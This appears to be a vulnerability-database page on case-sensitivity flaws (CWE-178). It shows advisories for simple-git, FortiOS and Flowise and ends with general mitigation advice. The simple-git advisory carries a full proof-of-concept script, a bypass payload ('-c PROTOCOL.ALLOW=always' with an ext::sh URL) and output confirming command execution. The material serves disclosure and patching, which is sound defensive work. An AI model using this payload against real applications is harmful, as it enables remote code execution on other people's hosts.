The preventProtocolOverride regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive. PROTOCOL.ALLOW=always (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the ext:: protocol. The injected shell command executes before git errors on the missing repository stream.

Output:

ext:: executed: PWNED — /tmp/pwn-codeant created
GitError: Cloning into '/tmp/example-new-repo-2'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

    at Object.action (.../simple-git/dist/cjs/index.js:1440:25)
    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {
  task: {
    commands: [
      'clone',
      '-c',
      'PROTOCOL.ALLOW=always',
      'ext::sh -c touch% /tmp/pwn-codeant% >&2',
      '/tmp/example-new-repo-2'
    ],
    format: 'utf-8',
    parser: [Function: parser]
  }
}

/tmp/pwn-codeant was created by the git subprocess — command execution confirmed.


Vector 3 — Real-world scenario (target: https://github.com/CodeAnt-AI/codeant-quality-gates)

Result: BYPASSED ⚠️ — RCE confirmed

An application passes user-controlled customArgs to simpleGit().clone(). The attacker injects PROTOCOL.ALLOW=always and substitutes a malicious ext:: URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables ext:: and executes the payload before the application can detect the failure.

Output:

real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created

/tmp/pwn-realworld was created — arbitrary command execution in a realistic application context confirmed.


Summary

# Vector Payload Sentinel file Result
1 CVE-2022-25912 original protocol.ext.allow=always (lowercase) not created Blocked ✅
2 Case-sensitivity bypass PROTOCOL.ALLOW=always (uppercase) /tmp/pwn-codeant created RCE ⚠️
3 Real-world app scenario PROTOCOL.ALLOW=always + attacker URL /tmp/pwn-realworld created RCE ⚠️

The case-sensitive regex in preventProtocolOverride blocks protocol.*.allow but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.

/tmp/pwned is created by the git subprocess via the ext:: protocol.

All of the following bypass the check:

Argument passed via -c Regex matches? Git honours it?
protocol.allow=always ✅ blocked
PROTOCOL.ALLOW=always ❌ bypassed
Protocol.Allow=always ❌ bypassed
PROTOCOL.allow=always ❌ bypassed
protocol.ALLOW=always ❌ bypassed

Impact

Any application that passes user-controlled values into the customArgs parameter of clone(), fetch(), pull(), push() or similar simple-git methods is vulnerable to arbitrary command execution on the host machine.

The ext:: git protocol executes an arbitrary binary as a remote helper. With protocol.allow=always enabled, an attacker can run any OS command as the process user — full read, write and execution access on the host.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "simple-git"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.15.0"
            },
            {
              "fixed": "3.32.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T18:38:56Z",
    "nvd_published_at": "2026-03-10T19:17:20Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol\noverride arguments when the config key is passed in uppercase or mixed case.\nAn attacker who controls arguments passed to git operations can enable the\n`ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an\narbitrary OS command on the host machine.\n\n---\n\n### Details\n\nThe `preventProtocolOverride` function in\n`simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24)\nchecks whether a `-c` argument configures `protocol.allow` using this regex:\n\n```ts\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n   return;\n}\n```\n\nThis regex is case-sensitive. Git treats config key names\ncase-insensitively \u2014 it normalises them to lowercase internally.\nAs a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`,\nor any mixed-case variant is not matched by the regex, the check\nreturns without throwing, and git is spawned with the unsafe argument.\n\n**Verification that git normalises the key:**\n\n```bash\n$ git -c PROTOCOL.ALLOW=always config --list | grep protocol\nprotocol.allow=always\n```\n\n**The fix is a single character \u2014 add the `/i` flag:**\n\n```ts\n// Before (vulnerable):\nif (!/^\\s*protocol(.[a-z]+)?.allow/.test(next)) {\n\n// After (fixed):\nif (!/^\\s*protocol(.[a-z]+)?.allow/i.test(next)) {\n```\n\n---\n\n## poc.js\n\n```js\n/**\n * Proof of Concept \u2014 simple-git preventProtocolOverride Case-Sensitivity Bypass\n *\n * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check\n * that blocks `-c protocol.*.allow=always` from being passed to git commands.\n * The regex is case-sensitive. Git treats config key names case-insensitively.\n * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.\n *\n * Affected : simple-git \u003e= 3.15.0 (all versions with the fix applied)\n * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5\n * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)\n */\n\nconst simpleGit = require(\u0027simple-git\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconst SENTINEL = \u0027/tmp/pwn-codeant\u0027;\n\n// Clean up from any previous run\ntry { fs.unlinkSync(SENTINEL); } catch (_) {}\n\nconst git = simpleGit();\n\n// \u2500\u2500 Original CVE-2022-25912 vector \u2014 BLOCKED by the 2022 fix \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// This is the exact PoC Snyk used to report CVE-2022-25912.\n// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.\ngit.clone(\u0027ext::sh -c touch% /tmp/pwn-original% \u003e\u00262\u0027, \u0027/tmp/example-new-repo\u0027, [\n  \u0027-c\u0027, \u0027protocol.ext.allow=always\u0027,   // lowercase \u2014 caught by regex\n]).catch((e) =\u003e {\n  console.log(\u0027ext:: executed:poc\u0027, fs.existsSync(SENTINEL) ? \u0027PWNED \u2014 \u0027 + SENTINEL + \u0027 created\u0027 : \u0027not created\u0027);\n  console.error(e);\n});\n\n// \u2500\u2500 Bypass \u2014 PROTOCOL.ALLOW=always (uppercase) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// The fix regex /^\\s*protocol(.[a-z]+)?.allow/ is case-sensitive.\n// Git normalises config key names to lowercase internally.\n// Uppercase variant passes the check; git enables ext:: and executes the command.\ngit.clone(\u0027ext::sh -c touch% \u0027 + SENTINEL + \u0027% \u003e\u00262\u0027, \u0027/tmp/example-new-repo-2\u0027, [\n  \u0027-c\u0027, \u0027PROTOCOL.ALLOW=always\u0027,       // uppercase \u2014 NOT caught by regex\n]).catch((e) =\u003e {\n  console.log(\u0027ext:: executed:\u0027, fs.existsSync(SENTINEL) ? \u0027PWNED \u2014 \u0027 + SENTINEL + \u0027 created\u0027 : \u0027not created\u0027);\n  console.error(e);\n});\n\n// \u2500\u2500 Real-world scenario \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// An application cloning a legitimate repository with user-controlled customArgs.\n// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.\n// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates\n// but the injected argument enables ext:: and the real URL executes the command instead.\n//\n// Legitimate usage (what the app expects):\n//   simpleGit().clone(\u0027https://github.com/CodeAnt-AI/codeant-quality-gates\u0027,\n//                     \u0027/tmp/codeant-quality-gates\u0027, userArgs)\n//\n// Attacker-controlled scenario (what actually runs when args are not sanitised):\nconst LEGITIMATE_URL = \u0027https://github.com/CodeAnt-AI/codeant-quality-gates\u0027;\nconst CLONE_DEST     = \u0027/tmp/codeant-quality-gates\u0027;\nconst SENTINEL_RW    = \u0027/tmp/pwn-realworld\u0027;\ntry { fs.unlinkSync(SENTINEL_RW); } catch (_) {}\n\nconst userArgs   = [\u0027-c\u0027, \u0027PROTOCOL.ALLOW=always\u0027];\nconst attackerURL = \u0027ext::sh -c touch% \u0027 + SENTINEL_RW + \u0027% \u003e\u00262\u0027;\n\nsimpleGit().clone(\n  attackerURL,   // should have been LEGITIMATE_URL\n  CLONE_DEST,\n  userArgs\n).catch(() =\u003e {\n  console.log(\u0027real-world scenario [target: \u0027 + LEGITIMATE_URL + \u0027]:\u0027,\n    fs.existsSync(SENTINEL_RW) ? \u0027PWNED \u2014 \u0027 + SENTINEL_RW + \u0027 created\u0027 : \u0027not created\u0027);\n});\n```\n\n---\n\n## Test Results\n\n### Vector 1 \u2014 Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase)\n\n**Result: BLOCKED \u2705**\n\nThe original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created.\n\n**Output:**\n```\next:: executed:poc not created\nGitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol\n    at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)\n    at .../simple-git/dist/cjs/index.js:1266:40\n    at Array.forEach (\u003canonymous\u003e)\n    at Object.action (.../simple-git/dist/cjs/index.js:1264:12)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)\n    at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)\n    at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {\n  task: {\n    commands: [\n      \u0027clone\u0027,\n      \u0027-c\u0027,\n      \u0027protocol.ext.allow=always\u0027,\n      \u0027ext::sh -c touch% /tmp/pwn-original% \u003e\u00262\u0027,\n      \u0027/tmp/example-new-repo\u0027\n    ],\n    format: \u0027utf-8\u0027,\n    parser: [Function: parser]\n  },\n  plugin: \u0027unsafe\u0027\n}\n```\n\n---\n\n### Vector 2 \u2014 Uppercase bypass (`PROTOCOL.ALLOW=always`)\n\n**Result: BYPASSED \u26a0\ufe0f \u2014 RCE confirmed**\n\nThe `preventProtocolOverride` regex `/^\\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream.\n\n**Output:**\n```\next:: executed: PWNED \u2014 /tmp/pwn-codeant created\nGitError: Cloning into \u0027/tmp/example-new-repo-2\u0027...\nfatal: Could not read from remote repository.\n\nPlease make sure you have the correct access rights\nand the repository exists.\n\n    at Object.action (.../simple-git/dist/cjs/index.js:1440:25)\n    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {\n  task: {\n    commands: [\n      \u0027clone\u0027,\n      \u0027-c\u0027,\n      \u0027PROTOCOL.ALLOW=always\u0027,\n      \u0027ext::sh -c touch% /tmp/pwn-codeant% \u003e\u00262\u0027,\n      \u0027/tmp/example-new-repo-2\u0027\n    ],\n    format: \u0027utf-8\u0027,\n    parser: [Function: parser]\n  }\n}\n```\n\n`/tmp/pwn-codeant` was created by the git subprocess \u2014 command execution confirmed.\n\n---\n\n### Vector 3 \u2014 Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`)\n\n**Result: BYPASSED \u26a0\ufe0f \u2014 RCE confirmed**\n\nAn application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure.\n\n**Output:**\n```\nreal-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED \u2014 /tmp/pwn-realworld created\n```\n\n`/tmp/pwn-realworld` was created \u2014 arbitrary command execution in a realistic application context confirmed.\n\n---\n\n## Summary\n\n| # | Vector | Payload | Sentinel file | Result |\n|---|--------|---------|---------------|--------|\n| 1 | CVE-2022-25912 original | `protocol.ext.allow=always` (lowercase) | not created | Blocked \u2705 |\n| 2 | Case-sensitivity bypass | `PROTOCOL.ALLOW=always` (uppercase) | `/tmp/pwn-codeant` created | **RCE \u26a0\ufe0f** |\n| 3 | Real-world app scenario | `PROTOCOL.ALLOW=always` + attacker URL | `/tmp/pwn-realworld` created | **RCE \u26a0\ufe0f** |\n\nThe case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.\n\n`/tmp/pwned` is created by the git subprocess via the `ext::` protocol.\n\nAll of the following bypass the check:\n\n| Argument passed via `-c` | Regex matches? | Git honours it? |\n|--------------------------|:--------------:|:---------------:|\n| `protocol.allow=always`  | \u2705 blocked     | \u2705              |\n| `PROTOCOL.ALLOW=always`  | \u274c bypassed    | \u2705              |\n| `Protocol.Allow=always`  | \u274c bypassed    | \u2705              |\n| `PROTOCOL.allow=always`  | \u274c bypassed    | \u2705              |\n| `protocol.ALLOW=always`  | \u274c bypassed    | \u2705              |\n\n---\n\n### Impact\n\nAny application that passes user-controlled values into the `customArgs`\nparameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git`\nmethods is vulnerable to arbitrary command execution on the host machine.\n\nThe `ext::` git protocol executes an arbitrary binary as a remote helper.\nWith `protocol.allow=always` enabled, an attacker can run any OS command\nas the process user \u2014 full read, write and execution access on the host.",
  "id": "GHSA-r275-fr43-pm7q",
  "modified": "2026-04-14T21:57:58Z",
  "published": "2026-03-10T18:38:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/steveukx/git-js/security/advisories/GHSA-r275-fr43-pm7q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28292"
    },
    {
      "type": "WEB",
      "url": "https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/steveukx/git-js"
    },
    {
      "type": "WEB",
      "url": "https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292"
    },
    {
      "type": "WEB",
      "url": "https://www.codeant.ai/security-research/simple-git-remote-code-execution-cve-2026-28292"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE"
}

GHSA-R9CJ-Q2HJ-HFQ9

Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2025-10-22 00:31
VLAI
Details

An improper authentication vulnerability in SSL VPN in FortiOS 6.4.0, 6.2.0 to 6.2.3, 6.0.9 and below may result in a user being able to log in successfully without being prompted for the second factor of authentication (FortiToken) if they changed the case of their username.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-12812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-24T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "An improper authentication vulnerability in SSL VPN in FortiOS 6.4.0, 6.2.0 to 6.2.3, 6.0.9 and below may result in a user being able to log in successfully without being prompted for the second factor of authentication (FortiToken) if they changed the case of their username.",
  "id": "GHSA-r9cj-q2hj-hfq9",
  "modified": "2025-10-22T00:31:56Z",
  "published": "2022-05-24T17:24:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12812"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/psirt/FG-IR-19-283"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-12812"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQQR-M697-6JQ3

Vulnerability from github – Published: 2026-06-28 03:33 – Updated: 2026-06-28 03:33
VLAI
Details

Flowise before 3.1.3 validates Custom MCP stdio environment variables against a denylist using a case-sensitive comparison, so on Windows, where environment names are case-insensitive, supplying 'node_options' bypasses the NODE_OPTIONS denylist entry. An authenticated user who can configure a Custom MCP node can thereby inject NODE_OPTIONS --require and execute arbitrary code in the Flowise server context.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-58057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-28T02:16:32Z",
    "severity": "LOW"
  },
  "details": "Flowise before 3.1.3 validates Custom MCP stdio environment variables against a denylist using a case-sensitive comparison, so on Windows, where environment names are case-insensitive, supplying \u0027node_options\u0027 bypasses the NODE_OPTIONS denylist entry. An authenticated user who can configure a Custom MCP node can thereby inject NODE_OPTIONS --require and execute arbitrary code in the Flowise server context.",
  "id": "GHSA-rqqr-m697-6jq3",
  "modified": "2026-06-28T03:33:40Z",
  "published": "2026-06-28T03:33:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6471"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bikini/exploitarium/tree/main/flowise-mcp-env-case-bypass-poc"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/flowise-custom-mcp-environment-variable-denylist-bypass-via-case-sensitivity"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation MIT-44
Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

No CAPEC attack patterns related to this CWE.